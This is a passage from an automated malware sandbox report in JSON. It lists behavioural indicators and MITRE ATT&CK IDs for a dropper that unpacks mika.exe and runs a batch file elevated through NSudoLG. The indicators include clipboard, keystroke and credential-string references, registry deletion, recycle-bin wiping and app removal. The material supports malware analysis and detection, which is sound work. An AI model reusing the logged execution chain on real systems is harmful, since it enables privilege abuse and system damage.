\"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"cannot load Mapi32.dll\" (Indicator: \"MAPI32.dll\"; File: \"00000000-00006000.00000000.97850.011A1000.00000020.mdmp\")\n Found string \"Mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")\n Found string \"cannot load Mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" with parameter C:\\Users (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" with parameter %USERPROFILE%\\AppData (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" with parameter %LOCALAPPDATA%\\Temp (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" with parameter saked (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3f","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /c \"\"%TEMP%\\\\7e5cy7w4O.bat\" \"\" (UID: 00000000-00001656)\n Process \"NSudoLG.exe\" with commandline \"NSudoLG -U:T -P:E -UseCurrentConsole \"%TEMP%\\\\7e5cy7w4O.bat\" any_word\" (UID: 00000000-00006880)\n Process \"cmd.exe\" with commandline \"/c \"\"%TEMP%\\\\7e5cy7w4O.bat\" any_word \"\" (UID: 00000000-00006604)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" failed to load missing module \"g.ke\"\n Heuristic match: \"ek.vc\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$52","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"7z.exe\"\n YARA signature for AES encryption matched on process \"00000000-00006000\"\n YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"mika.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE2308AC6554C7AA5E3BDA3379EA6D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE7B045BBFFB8CFCBF1175731CAA0A]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" tries to directly access volume data \"Z:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"FindFirstFileW\" with parameter C:\\9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe (UID: 00000000-00002668)\n \"7z.exe\" called \"FindFirstFileW\" with parameter same.zip (UID: 00000000-00006000)\n \"7z.exe\" called \"FindFirstFileW\" with parameter %TEMP%\\saked\\same.zip (UID: 00000000-00006000)\n \"7z.exe\" called \"FindFirstFileW\" with parameter .\\mika.exe (UID: 00000000-00006000)\n \"7z.exe\" called \"FindFirstFileW\" with parameter \\\\?\\%TEMP%\\saked\\mika.exe (UID: 00000000-00006000)","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"nircmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"reg.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"NSudoLG.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"mika.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$54","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ForEach-Object\"; File: \"7e5cy7w4O.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$58","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"ZwReadFile\" (Indicator: \"ZwReadFile\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006300.00000000.98189.00800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$59","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"file/memory contains long string with (Indicator: \"findstr \"; File: \"7e5cy7w4O.bat\")\n Found string \"findstr /c:\"6.1.7601\"\" (Indicator: \"findstr \"; Source: \"00000000-00006604-00000C47-270497209886\")","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"/c tasklist\" (Indicator: \"tasklist\"; File: \"cmd.exe\")\n Found string \"tasklist\" (Indicator: \"tasklist\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000000.90753.51F10000.00000004.mdmp, 00000000-00001376.00000001.90767.51B90000.00000004.mdmp, 00000000-00001376.00000001.90767.51F10000.00000004.mdmp\")\n Found string \"ype \"TASKLIST /?\" for usage.\" (Indicator: \"tasklist\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000000.90753.51F10000.00000004.mdmp, 00000000-00001376.00000001.90767.17AC2000.00000002.mdmp, 00000000-00001376.00000001.90767.51F10000.00000004.mdmp\")\n Found string \"SELECT Name FROM Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Indicator: \" Win32_Service\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Searches for patterns in files","description":"Process \"findstr.exe\" with commandline \"findstr /c:\"6.1.7601\"\" (UID: 00000000-00005944)","origin":"Monitored Target","mitre_attack_id":"T1083","relevance":3,"id":"target-244","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Uses REG.EXE to query registry keys","description":"$5d","origin":"Monitored Target","mitre_attack_id":"T1012","relevance":3,"id":"target-144","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"file/memory contains long string(File: \"nircmd.exe\")\n Found string \"SHEmptyRecycleBinA\" (Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to uninstall applications (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-AppxPackage\"; File: \"7e5cy7w4O.bat\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-200","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"file/memory contains long string with (Indicator: \"changeserviceconfiga\"; File: \"nircmd.exe\")\n Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueA\" in \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in 